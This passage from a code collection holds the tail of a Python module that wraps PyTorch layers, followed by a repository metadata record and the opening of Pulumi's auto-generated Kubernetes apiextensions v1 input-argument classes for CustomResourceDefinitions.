reduction_type == "none": return tensor_list if not tensor_list: return None # empty. return None for now if len(tensor_list) == 1: return tensor_list[0] if reduction_type == "sum": return sum(tensor_list) if reduction_type == "mean": return sum(tensor_list) / len(tensor_list) if reduction_type == "concat": return torch.cat(tensor_list, dim=1) raise ValueError("Unrecognized reduction policy: \"{}\"".format(reduction_type)) # the following are pytorch modules Module = nn.Module class Sequential(nn.Sequential): def __init__(self, *args): add_record(id(self), {}) super(Sequential, self).__init__(*args) class ModuleList(nn.ModuleList): def __init__(self, *args): add_record(id(self), {}) super(ModuleList, self).__init__(*args) Identity = blackbox_module(nn.Identity) Linear = blackbox_module(nn.Linear) Conv1d = blackbox_module(nn.Conv1d) Conv2d = blackbox_module(nn.Conv2d) Conv3d = blackbox_module(nn.Conv3d) ConvTranspose1d = blackbox_module(nn.ConvTranspose1d) ConvTranspose2d = blackbox_module(nn.ConvTranspose2d) ConvTranspose3d = blackbox_module(nn.ConvTranspose3d) Threshold = blackbox_module(nn.Threshold) ReLU = blackbox_module(nn.ReLU) Hardtanh = blackbox_module(nn.Hardtanh) ReLU6 = blackbox_module(nn.ReLU6) Sigmoid = blackbox_module(nn.Sigmoid) Tanh = blackbox_module(nn.Tanh) Softmax = blackbox_module(nn.Softmax) Softmax2d = blackbox_module(nn.Softmax2d) LogSoftmax = blackbox_module(nn.LogSoftmax) ELU = blackbox_module(nn.ELU) SELU = blackbox_module(nn.SELU) CELU = blackbox_module(nn.CELU) GLU = blackbox_module(nn.GLU) GELU = blackbox_module(nn.GELU) Hardshrink = blackbox_module(nn.Hardshrink) LeakyReLU = blackbox_module(nn.LeakyReLU) LogSigmoid = blackbox_module(nn.LogSigmoid) Softplus = blackbox_module(nn.Softplus) Softshrink = blackbox_module(nn.Softshrink) MultiheadAttention = blackbox_module(nn.MultiheadAttention) PReLU = blackbox_module(nn.PReLU) Softsign = blackbox_module(nn.Softsign) Softmin = blackbox_module(nn.Softmin) Tanhshrink = blackbox_module(nn.Tanhshrink) RReLU = blackbox_module(nn.RReLU) AvgPool1d = blackbox_module(nn.AvgPool1d) AvgPool2d = blackbox_module(nn.AvgPool2d) AvgPool3d = blackbox_module(nn.AvgPool3d) MaxPool1d = blackbox_module(nn.MaxPool1d) MaxPool2d = blackbox_module(nn.MaxPool2d) MaxPool3d = blackbox_module(nn.MaxPool3d) MaxUnpool1d = blackbox_module(nn.MaxUnpool1d) MaxUnpool2d = blackbox_module(nn.MaxUnpool2d) MaxUnpool3d = blackbox_module(nn.MaxUnpool3d) FractionalMaxPool2d = blackbox_module(nn.FractionalMaxPool2d) FractionalMaxPool3d = blackbox_module(nn.FractionalMaxPool3d) LPPool1d = blackbox_module(nn.LPPool1d) LPPool2d = blackbox_module(nn.LPPool2d) LocalResponseNorm = blackbox_module(nn.LocalResponseNorm) BatchNorm1d = blackbox_module(nn.BatchNorm1d) BatchNorm2d = blackbox_module(nn.BatchNorm2d) BatchNorm3d = blackbox_module(nn.BatchNorm3d) InstanceNorm1d = blackbox_module(nn.InstanceNorm1d) InstanceNorm2d = blackbox_module(nn.InstanceNorm2d) InstanceNorm3d = blackbox_module(nn.InstanceNorm3d) LayerNorm = blackbox_module(nn.LayerNorm) GroupNorm = blackbox_module(nn.GroupNorm) SyncBatchNorm = blackbox_module(nn.SyncBatchNorm) Dropout = blackbox_module(nn.Dropout) Dropout2d = blackbox_module(nn.Dropout2d) Dropout3d = blackbox_module(nn.Dropout3d) AlphaDropout = blackbox_module(nn.AlphaDropout) FeatureAlphaDropout = blackbox_module(nn.FeatureAlphaDropout) ReflectionPad1d = blackbox_module(nn.ReflectionPad1d) ReflectionPad2d = blackbox_module(nn.ReflectionPad2d) ReplicationPad2d = blackbox_module(nn.ReplicationPad2d) ReplicationPad1d = blackbox_module(nn.ReplicationPad1d) ReplicationPad3d = blackbox_module(nn.ReplicationPad3d) CrossMapLRN2d = blackbox_module(nn.CrossMapLRN2d) Embedding = blackbox_module(nn.Embedding) EmbeddingBag = blackbox_module(nn.EmbeddingBag) RNNBase = blackbox_module(nn.RNNBase) RNN = blackbox_module(nn.RNN) LSTM = blackbox_module(nn.LSTM) GRU = blackbox_module(nn.GRU) RNNCellBase = blackbox_module(nn.RNNCellBase) RNNCell = blackbox_module(nn.RNNCell) LSTMCell = blackbox_module(nn.LSTMCell) GRUCell = blackbox_module(nn.GRUCell) PixelShuffle = blackbox_module(nn.PixelShuffle) Upsample = blackbox_module(nn.Upsample) UpsamplingNearest2d = blackbox_module(nn.UpsamplingNearest2d) UpsamplingBilinear2d = blackbox_module(nn.UpsamplingBilinear2d) PairwiseDistance = blackbox_module(nn.PairwiseDistance) AdaptiveMaxPool1d = blackbox_module(nn.AdaptiveMaxPool1d) AdaptiveMaxPool2d = blackbox_module(nn.AdaptiveMaxPool2d) AdaptiveMaxPool3d = blackbox_module(nn.AdaptiveMaxPool3d) AdaptiveAvgPool1d = blackbox_module(nn.AdaptiveAvgPool1d) AdaptiveAvgPool2d = blackbox_module(nn.AdaptiveAvgPool2d) AdaptiveAvgPool3d = blackbox_module(nn.AdaptiveAvgPool3d) TripletMarginLoss = blackbox_module(nn.TripletMarginLoss) ZeroPad2d = blackbox_module(nn.ZeroPad2d) ConstantPad1d = blackbox_module(nn.ConstantPad1d) ConstantPad2d = blackbox_module(nn.ConstantPad2d) ConstantPad3d = blackbox_module(nn.ConstantPad3d) Bilinear = blackbox_module(nn.Bilinear) CosineSimilarity = blackbox_module(nn.CosineSimilarity) Unfold = blackbox_module(nn.Unfold) Fold = blackbox_module(nn.Fold) AdaptiveLogSoftmaxWithLoss = blackbox_module(nn.AdaptiveLogSoftmaxWithLoss) TransformerEncoder = blackbox_module(nn.TransformerEncoder) TransformerDecoder = blackbox_module(nn.TransformerDecoder) TransformerEncoderLayer = blackbox_module(nn.TransformerEncoderLayer) TransformerDecoderLayer = blackbox_module(nn.TransformerDecoderLayer) Transformer = blackbox_module(nn.Transformer) Flatten = blackbox_module(nn.Flatten) Hardsigmoid = blackbox_module(nn.Hardsigmoid) if version_larger_equal(torch.__version__, '1.6.0'): Hardswish = blackbox_module(nn.Hardswish) if version_larger_equal(torch.__version__, '1.7.0'): SiLU = blackbox_module(nn.SiLU) Unflatten = blackbox_module(nn.Unflatten) TripletMarginWithDistanceLoss = blackbox_module(nn.TripletMarginWithDistanceLoss)
c0aa5d5329950ee81536b28948f3e1c23999d7b9
2f4605e878c073d7f735eed1d675c2ee454ad68e
/sdk/python/pulumi_kubernetes/apiextensions/v1/_inputs.py
a8642aba88bfc3ac6d4fd00a72d0776d3c88c9b0
[ "Apache-2.0" ]
permissive
pulumi/pulumi-kubernetes
3c0c82e03a19f4077625d2ff6dae5ea4dbf90243
b5d76f0731383f39903f35a6c1566f2f4344c944
refs/heads/master
2023-08-17T16:57:11.845935
2023-08-16T00:55:18
2023-08-16T00:55:18
116,869,354
353
128
Apache-2.0
2023-09-13T21:42:01
2018-01-09T20:50:33
Java
UTF-8
Python
false
false
206,572
py
# coding=utf-8 # *** WARNING: this file was generated by pulumigen. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from ... import meta as _meta __all__ = [ 'CustomResourceColumnDefinitionPatchArgs', 'CustomResourceColumnDefinitionArgs', 'CustomResourceConversionPatchArgs', 'CustomResourceConversionArgs', 'CustomResourceDefinitionConditionArgs', 'CustomResourceDefinitionNamesPatchArgs', 'CustomResourceDefinitionNamesArgs', 'CustomResourceDefinitionSpecPatchArgs', 'CustomResourceDefinitionSpecArgs', 'CustomResourceDefinitionStatusArgs', 'CustomResourceDefinitionVersionPatchArgs', 'CustomResourceDefinitionVersionArgs', 'CustomResourceDefinitionArgs', 'CustomResourceSubresourceScalePatchArgs', 'CustomResourceSubresourceScaleArgs', 'CustomResourceSubresourcesPatchArgs', 'CustomResourceSubresourcesArgs', 'CustomResourceValidationPatchArgs', 'CustomResourceValidationArgs', 'ExternalDocumentationPatchArgs', 'ExternalDocumentationArgs', 'JSONSchemaPropsPatchArgs', 'JSONSchemaPropsArgs', 'ServiceReferencePatchArgs', 'ServiceReferenceArgs', 'ValidationRulePatchArgs', 'ValidationRuleArgs', 'WebhookClientConfigPatchArgs', 'WebhookClientConfigArgs', 'WebhookConversionPatchArgs', 'WebhookConversionArgs', ] @pulumi.input_type class CustomResourceColumnDefinitionPatchArgs: def __init__(__self__, *, description: Optional[pulumi.Input[str]] = None, format: Optional[pulumi.Input[str]] = None, json_path: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, priority: Optional[pulumi.Input[int]] = None, type: Optional[pulumi.Input[str]] = None): """ CustomResourceColumnDefinition specifies a column for server side printing. :param pulumi.Input[str] description: description is a human readable description of this column. :param pulumi.Input[str] format: format is an optional OpenAPI type definition for this column. The 'name' format is applied to the primary identifier column to assist in clients identifying column is the resource name. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types for details. :param pulumi.Input[str] json_path: jsonPath is a simple JSON path (i.e. with array notation) which is evaluated against each custom resource to produce the value for this column. :param pulumi.Input[str] name: name is a human readable name for the column. :param pulumi.Input[int] priority: priority is an integer defining the relative importance of this column compared to others. Lower numbers are considered higher priority. Columns that may be omitted in limited space scenarios should be given a priority greater than 0. :param pulumi.Input[str] type: type is an OpenAPI type definition for this column. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types for details. """ if description is not None: pulumi.set(__self__, "description", description) if format is not None: pulumi.set(__self__, "format", format) if json_path is not None: pulumi.set(__self__, "json_path", json_path) if name is not None: pulumi.set(__self__, "name", name) if priority is not None: pulumi.set(__self__, "priority", priority) if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ description is a human readable description of this column. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def format(self) -> Optional[pulumi.Input[str]]: """ format is an optional OpenAPI type definition for this column. The 'name' format is applied to the primary identifier column to assist in clients identifying column is the resource name. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types for details. """ return pulumi.get(self, "format") @format.setter def format(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "format", value) @property @pulumi.getter(name="jsonPath") def json_path(self) -> Optional[pulumi.Input[str]]: """ jsonPath is a simple JSON path (i.e. with array notation) which is evaluated against each custom resource to produce the value for this column. """ return pulumi.get(self, "json_path") @json_path.setter def json_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "json_path", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ name is a human readable name for the column. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def priority(self) -> Optional[pulumi.Input[int]]: """ priority is an integer defining the relative importance of this column compared to others. Lower numbers are considered higher priority. Columns that may be omitted in limited space scenarios should be given a priority greater than 0. """ return pulumi.get(self, "priority") @priority.setter def priority(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "priority", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: """ type is an OpenAPI type definition for this column. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types for details. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) @pulumi.input_type class CustomResourceColumnDefinitionArgs: def __init__(__self__, *, json_path: pulumi.Input[str], name: pulumi.Input[str], type: pulumi.Input[str], description: Optional[pulumi.Input[str]] = None, format: Optional[pulumi.Input[str]] = None, priority: Optional[pulumi.Input[int]] = None): """ CustomResourceColumnDefinition specifies a column for server side printing. :param pulumi.Input[str] json_path: jsonPath is a simple JSON path (i.e. with array notation) which is evaluated against each custom resource to produce the value for this column. :param pulumi.Input[str] name: name is a human readable name for the column. :param pulumi.Input[str] type: type is an OpenAPI type definition for this column. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types for details. :param pulumi.Input[str] description: description is a human readable description of this column. :param pulumi.Input[str] format: format is an optional OpenAPI type definition for this column. The 'name' format is applied to the primary identifier column to assist in clients identifying column is the resource name. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types for details. :param pulumi.Input[int] priority: priority is an integer defining the relative importance of this column compared to others. Lower numbers are considered higher priority. Columns that may be omitted in limited space scenarios should be given a priority greater than 0. """ pulumi.set(__self__, "json_path", json_path) pulumi.set(__self__, "name", name) pulumi.set(__self__, "type", type) if description is not None: pulumi.set(__self__, "description", description) if format is not None: pulumi.set(__self__, "format", format) if priority is not None: pulumi.set(__self__, "priority", priority) @property @pulumi.getter(name="jsonPath") def json_path(self) -> pulumi.Input[str]: """ jsonPath is a simple JSON path (i.e. with array notation) which is evaluated against each custom resource to produce the value for this column. """ return pulumi.get(self, "json_path") @json_path.setter def json_path(self, value: pulumi.Input[str]): pulumi.set(self, "json_path", value) @property @pulumi.getter def name(self) -> pulumi.Input[str]: """ name is a human readable name for the column. """ return pulumi.get(self, "name") @name.setter def name(self, value: pulumi.Input[str]): pulumi.set(self, "name", value) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ type is an OpenAPI type definition for this column. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types for details. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @property @pulumi.getter def description(self) -> Optional[pulumi.Input[str]]: """ description is a human readable description of this column. """ return pulumi.get(self, "description") @description.setter def description(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "description", value) @property @pulumi.getter def format(self) -> Optional[pulumi.Input[str]]: """ format is an optional OpenAPI type definition for this column. The 'name' format is applied to the primary identifier column to assist in clients identifying column is the resource name. See https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md#data-types for details. """ return pulumi.get(self, "format") @format.setter def format(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "format", value) @property @pulumi.getter def priority(self) -> Optional[pulumi.Input[int]]: """ priority is an integer defining the relative importance of this column compared to others. Lower numbers are considered higher priority. Columns that may be omitted in limited space scenarios should be given a priority greater than 0. """ return pulumi.get(self, "priority") @priority.setter def priority(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "priority", value) @pulumi.input_type class CustomResourceConversionPatchArgs: def __init__(__self__, *, strategy: Optional[pulumi.Input[str]] = None, webhook: Optional[pulumi.Input['WebhookConversionPatchArgs']] = None): """ CustomResourceConversion describes how to convert different versions of a CR. :param pulumi.Input[str] strategy: strategy specifies how custom resources are converted between versions. Allowed values are: - `"None"`: The converter only change the apiVersion and would not touch any other field in the custom resource. - `"Webhook"`: API Server will call to an external webhook to do the conversion. Additional information is needed for this option. This requires spec.preserveUnknownFields to be false, and spec.conversion.webhook to be set. :param pulumi.Input['WebhookConversionPatchArgs'] webhook: webhook describes how to call the conversion webhook. Required when `strategy` is set to `"Webhook"`. """ if strategy is not None: pulumi.set(__self__, "strategy", strategy) if webhook is not None: pulumi.set(__self__, "webhook", webhook) @property @pulumi.getter def strategy(self) -> Optional[pulumi.Input[str]]: """ strategy specifies how custom resources are converted between versions. Allowed values are: - `"None"`: The converter only change the apiVersion and would not touch any other field in the custom resource. - `"Webhook"`: API Server will call to an external webhook to do the conversion. Additional information is needed for this option. This requires spec.preserveUnknownFields to be false, and spec.conversion.webhook to be set. """ return pulumi.get(self, "strategy") @strategy.setter def strategy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "strategy", value) @property @pulumi.getter def webhook(self) -> Optional[pulumi.Input['WebhookConversionPatchArgs']]: """ webhook describes how to call the conversion webhook. Required when `strategy` is set to `"Webhook"`. """ return pulumi.get(self, "webhook") @webhook.setter def webhook(self, value: Optional[pulumi.Input['WebhookConversionPatchArgs']]): pulumi.set(self, "webhook", value) @pulumi.input_type class CustomResourceConversionArgs: def __init__(__self__, *, strategy: pulumi.Input[str], webhook: Optional[pulumi.Input['WebhookConversionArgs']] = None): """ CustomResourceConversion describes how to convert different versions of a CR. :param pulumi.Input[str] strategy: strategy specifies how custom resources are converted between versions. Allowed values are: - `"None"`: The converter only change the apiVersion and would not touch any other field in the custom resource. - `"Webhook"`: API Server will call to an external webhook to do the conversion. Additional information is needed for this option. This requires spec.preserveUnknownFields to be false, and spec.conversion.webhook to be set. :param pulumi.Input['WebhookConversionArgs'] webhook: webhook describes how to call the conversion webhook. Required when `strategy` is set to `"Webhook"`. """ pulumi.set(__self__, "strategy", strategy) if webhook is not None: pulumi.set(__self__, "webhook", webhook) @property @pulumi.getter def strategy(self) -> pulumi.Input[str]: """ strategy specifies how custom resources are converted between versions. Allowed values are: - `"None"`: The converter only change the apiVersion and would not touch any other field in the custom resource. - `"Webhook"`: API Server will call to an external webhook to do the conversion. Additional information is needed for this option. This requires spec.preserveUnknownFields to be false, and spec.conversion.webhook to be set. """ return pulumi.get(self, "strategy") @strategy.setter def strategy(self, value: pulumi.Input[str]): pulumi.set(self, "strategy", value) @property @pulumi.getter def webhook(self) -> Optional[pulumi.Input['WebhookConversionArgs']]: """ webhook describes how to call the conversion webhook. Required when `strategy` is set to `"Webhook"`. """ return pulumi.get(self, "webhook") @webhook.setter def webhook(self, value: Optional[pulumi.Input['WebhookConversionArgs']]): pulumi.set(self, "webhook", value) @pulumi.input_type class CustomResourceDefinitionConditionArgs: def __init__(__self__, *, status: pulumi.Input[str], type: pulumi.Input[str], last_transition_time: Optional[pulumi.Input[str]] = None, message: Optional[pulumi.Input[str]] = None, reason: Optional[pulumi.Input[str]] = None): """ CustomResourceDefinitionCondition contains details for the current condition of this pod. :param pulumi.Input[str] status: status is the status of the condition. Can be True, False, Unknown. :param pulumi.Input[str] type: type is the type of the condition. Types include Established, NamesAccepted and Terminating. :param pulumi.Input[str] last_transition_time: lastTransitionTime last time the condition transitioned from one status to another. :param pulumi.Input[str] message: message is a human-readable message indicating details about last transition. :param pulumi.Input[str] reason: reason is a unique, one-word, CamelCase reason for the condition's last transition. """ pulumi.set(__self__, "status", status) pulumi.set(__self__, "type", type) if last_transition_time is not None: pulumi.set(__self__, "last_transition_time", last_transition_time) if message is not None: pulumi.set(__self__, "message", message) if reason is not None: pulumi.set(__self__, "reason", reason) @property @pulumi.getter def status(self) -> pulumi.Input[str]: """ status is the status of the condition. Can be True, False, Unknown. """ return pulumi.get(self, "status") @status.setter def status(self, value: pulumi.Input[str]): pulumi.set(self, "status", value) @property @pulumi.getter def type(self) -> pulumi.Input[str]: """ type is the type of the condition. Types include Established, NamesAccepted and Terminating. """ return pulumi.get(self, "type") @type.setter def type(self, value: pulumi.Input[str]): pulumi.set(self, "type", value) @property @pulumi.getter(name="lastTransitionTime") def last_transition_time(self) -> Optional[pulumi.Input[str]]: """ lastTransitionTime last time the condition transitioned from one status to another. """ return pulumi.get(self, "last_transition_time") @last_transition_time.setter def last_transition_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "last_transition_time", value) @property @pulumi.getter def message(self) -> Optional[pulumi.Input[str]]: """ message is a human-readable message indicating details about last transition. """ return pulumi.get(self, "message") @message.setter def message(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "message", value) @property @pulumi.getter def reason(self) -> Optional[pulumi.Input[str]]: """ reason is a unique, one-word, CamelCase reason for the condition's last transition. """ return pulumi.get(self, "reason") @reason.setter def reason(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "reason", value) @pulumi.input_type class CustomResourceDefinitionNamesPatchArgs: def __init__(__self__, *, categories: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, kind: Optional[pulumi.Input[str]] = None, list_kind: Optional[pulumi.Input[str]] = None, plural: Optional[pulumi.Input[str]] = None, short_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, singular: Optional[pulumi.Input[str]] = None): """ CustomResourceDefinitionNames indicates the names to serve this CustomResourceDefinition :param pulumi.Input[Sequence[pulumi.Input[str]]] categories: categories is a list of grouped resources this custom resource belongs to (e.g. 'all'). This is published in API discovery documents, and used by clients to support invocations like `kubectl get all`. :param pulumi.Input[str] kind: kind is the serialized kind of the resource. It is normally CamelCase and singular. Custom resource instances will use this value as the `kind` attribute in API calls. :param pulumi.Input[str] list_kind: listKind is the serialized kind of the list for this resource. Defaults to "`kind`List". :param pulumi.Input[str] plural: plural is the plural name of the resource to serve. The custom resources are served under `/apis/<group>/<version>/.../<plural>`. Must match the name of the CustomResourceDefinition (in the form `<names.plural>.<group>`). Must be all lowercase. :param pulumi.Input[Sequence[pulumi.Input[str]]] short_names: shortNames are short names for the resource, exposed in API discovery documents, and used by clients to support invocations like `kubectl get <shortname>`. It must be all lowercase. :param pulumi.Input[str] singular: singular is the singular name of the resource. It must be all lowercase. Defaults to lowercased `kind`. """ if categories is not None: pulumi.set(__self__, "categories", categories) if kind is not None: pulumi.set(__self__, "kind", kind) if list_kind is not None: pulumi.set(__self__, "list_kind", list_kind) if plural is not None: pulumi.set(__self__, "plural", plural) if short_names is not None: pulumi.set(__self__, "short_names", short_names) if singular is not None: pulumi.set(__self__, "singular", singular) @property @pulumi.getter def categories(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ categories is a list of grouped resources this custom resource belongs to (e.g. 'all'). This is published in API discovery documents, and used by clients to support invocations like `kubectl get all`. """ return pulumi.get(self, "categories") @categories.setter def categories(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "categories", value) @property @pulumi.getter def kind(self) -> Optional[pulumi.Input[str]]: """ kind is the serialized kind of the resource. It is normally CamelCase and singular. Custom resource instances will use this value as the `kind` attribute in API calls. """ return pulumi.get(self, "kind") @kind.setter def kind(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kind", value) @property @pulumi.getter(name="listKind") def list_kind(self) -> Optional[pulumi.Input[str]]: """ listKind is the serialized kind of the list for this resource. Defaults to "`kind`List". """ return pulumi.get(self, "list_kind") @list_kind.setter def list_kind(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "list_kind", value) @property @pulumi.getter def plural(self) -> Optional[pulumi.Input[str]]: """ plural is the plural name of the resource to serve. The custom resources are served under `/apis/<group>/<version>/.../<plural>`. Must match the name of the CustomResourceDefinition (in the form `<names.plural>.<group>`). Must be all lowercase. """ return pulumi.get(self, "plural") @plural.setter def plural(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "plural", value) @property @pulumi.getter(name="shortNames") def short_names(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ shortNames are short names for the resource, exposed in API discovery documents, and used by clients to support invocations like `kubectl get <shortname>`. It must be all lowercase. """ return pulumi.get(self, "short_names") @short_names.setter def short_names(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "short_names", value) @property @pulumi.getter def singular(self) -> Optional[pulumi.Input[str]]: """ singular is the singular name of the resource. It must be all lowercase. Defaults to lowercased `kind`. """ return pulumi.get(self, "singular") @singular.setter def singular(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "singular", value) @pulumi.input_type class CustomResourceDefinitionNamesArgs: def __init__(__self__, *, kind: pulumi.Input[str], plural: pulumi.Input[str], categories: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, list_kind: Optional[pulumi.Input[str]] = None, short_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, singular: Optional[pulumi.Input[str]] = None): """ CustomResourceDefinitionNames indicates the names to serve this CustomResourceDefinition :param pulumi.Input[str] kind: kind is the serialized kind of the resource. It is normally CamelCase and singular. Custom resource instances will use this value as the `kind` attribute in API calls. :param pulumi.Input[str] plural: plural is the plural name of the resource to serve. The custom resources are served under `/apis/<group>/<version>/.../<plural>`. Must match the name of the CustomResourceDefinition (in the form `<names.plural>.<group>`). Must be all lowercase. :param pulumi.Input[Sequence[pulumi.Input[str]]] categories: categories is a list of grouped resources this custom resource belongs to (e.g. 'all'). This is published in API discovery documents, and used by clients to support invocations like `kubectl get all`. :param pulumi.Input[str] list_kind: listKind is the serialized kind of the list for this resource. Defaults to "`kind`List". :param pulumi.Input[Sequence[pulumi.Input[str]]] short_names: shortNames are short names for the resource, exposed in API discovery documents, and used by clients to support invocations like `kubectl get <shortname>`. It must be all lowercase. :param pulumi.Input[str] singular: singular is the singular name of the resource. It must be all lowercase. Defaults to lowercased `kind`. """ pulumi.set(__self__, "kind", kind) pulumi.set(__self__, "plural", plural) if categories is not None: pulumi.set(__self__, "categories", categories) if list_kind is not None: pulumi.set(__self__, "list_kind", list_kind) if short_names is not None: pulumi.set(__self__, "short_names", short_names) if singular is not None: pulumi.set(__self__, "singular", singular) @property @pulumi.getter def kind(self) -> pulumi.Input[str]: """ kind is the serialized kind of the resource. It is normally CamelCase and singular. Custom resource instances will use this value as the `kind` attribute in API calls. """ return pulumi.get(self, "kind") @kind.setter def kind(self, value: pulumi.Input[str]): pulumi.set(self, "kind", value) @property @pulumi.getter def plural(self) -> pulumi.Input[str]: """ plural is the plural name of the resource to serve. The custom resources are served under `/apis/<group>/<version>/.../<plural>`. Must match the name of the CustomResourceDefinition (in the form `<names.plural>.<group>`). Must be all lowercase. """ return pulumi.get(self, "plural") @plural.setter def plural(self, value: pulumi.Input[str]): pulumi.set(self, "plural", value) @property @pulumi.getter def categories(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ categories is a list of grouped resources this custom resource belongs to (e.g. 'all'). This is published in API discovery documents, and used by clients to support invocations like `kubectl get all`. """ return pulumi.get(self, "categories") @categories.setter def categories(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "categories", value) @property @pulumi.getter(name="listKind") def list_kind(self) -> Optional[pulumi.Input[str]]: """ listKind is the serialized kind of the list for this resource. Defaults to "`kind`List". """ return pulumi.get(self, "list_kind") @list_kind.setter def list_kind(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "list_kind", value) @property @pulumi.getter(name="shortNames") def short_names(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ shortNames are short names for the resource, exposed in API discovery documents, and used by clients to support invocations like `kubectl get <shortname>`. It must be all lowercase. """ return pulumi.get(self, "short_names") @short_names.setter def short_names(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "short_names", value) @property @pulumi.getter def singular(self) -> Optional[pulumi.Input[str]]: """ singular is the singular name of the resource. It must be all lowercase. Defaults to lowercased `kind`. """ return pulumi.get(self, "singular") @singular.setter def singular(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "singular", value) @pulumi.input_type class CustomResourceDefinitionSpecPatchArgs: def __init__(__self__, *, conversion: Optional[pulumi.Input['CustomResourceConversionPatchArgs']] = None, group: Optional[pulumi.Input[str]] = None, names: Optional[pulumi.Input['CustomResourceDefinitionNamesPatchArgs']] = None, preserve_unknown_fields: Optional[pulumi.Input[bool]] = None, scope: Optional[pulumi.Input[str]] = None, versions: Optional[pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionVersionPatchArgs']]]] = None): """ CustomResourceDefinitionSpec describes how a user wants their resource to appear :param pulumi.Input['CustomResourceConversionPatchArgs'] conversion: conversion defines conversion settings for the CRD. :param pulumi.Input[str] group: group is the API group of the defined custom resource. The custom resources are served under `/apis/<group>/...`. Must match the name of the CustomResourceDefinition (in the form `<names.plural>.<group>`). :param pulumi.Input['CustomResourceDefinitionNamesPatchArgs'] names: names specify the resource and kind names for the custom resource. :param pulumi.Input[bool] preserve_unknown_fields: preserveUnknownFields indicates that object fields which are not specified in the OpenAPI schema should be preserved when persisting to storage. apiVersion, kind, metadata and known fields inside metadata are always preserved. This field is deprecated in favor of setting `x-preserve-unknown-fields` to true in `spec.versions[*].schema.openAPIV3Schema`. See https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#field-pruning for details. :param pulumi.Input[str] scope: scope indicates whether the defined custom resource is cluster- or namespace-scoped. Allowed values are `Cluster` and `Namespaced`. :param pulumi.Input[Sequence[pulumi.Input['CustomResourceDefinitionVersionPatchArgs']]] versions: versions is the list of all API versions of the defined custom resource. Version names are used to compute the order in which served versions are listed in API discovery. If the version string is "kube-like", it will sort above non "kube-like" version strings, which are ordered lexicographically. "Kube-like" versions start with a "v", then are followed by a number (the major version), then optionally the string "alpha" or "beta" and another number (the minor version). These are sorted first by GA > beta > alpha (where GA is a version with no suffix such as beta or alpha), and then by comparing major version, then minor version. An example sorted list of versions: v10, v2, v1, v11beta2, v10beta3, v3beta1, v12alpha1, v11alpha2, foo1, foo10. """ if conversion is not None: pulumi.set(__self__, "conversion", conversion) if group is not None: pulumi.set(__self__, "group", group) if names is not None: pulumi.set(__self__, "names", names) if preserve_unknown_fields is not None: pulumi.set(__self__, "preserve_unknown_fields", preserve_unknown_fields) if scope is not None: pulumi.set(__self__, "scope", scope) if versions is not None: pulumi.set(__self__, "versions", versions) @property @pulumi.getter def conversion(self) -> Optional[pulumi.Input['CustomResourceConversionPatchArgs']]: """ conversion defines conversion settings for the CRD. """ return pulumi.get(self, "conversion") @conversion.setter def conversion(self, value: Optional[pulumi.Input['CustomResourceConversionPatchArgs']]): pulumi.set(self, "conversion", value) @property @pulumi.getter def group(self) -> Optional[pulumi.Input[str]]: """ group is the API group of the defined custom resource. The custom resources are served under `/apis/<group>/...`. Must match the name of the CustomResourceDefinition (in the form `<names.plural>.<group>`). """ return pulumi.get(self, "group") @group.setter def group(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "group", value) @property @pulumi.getter def names(self) -> 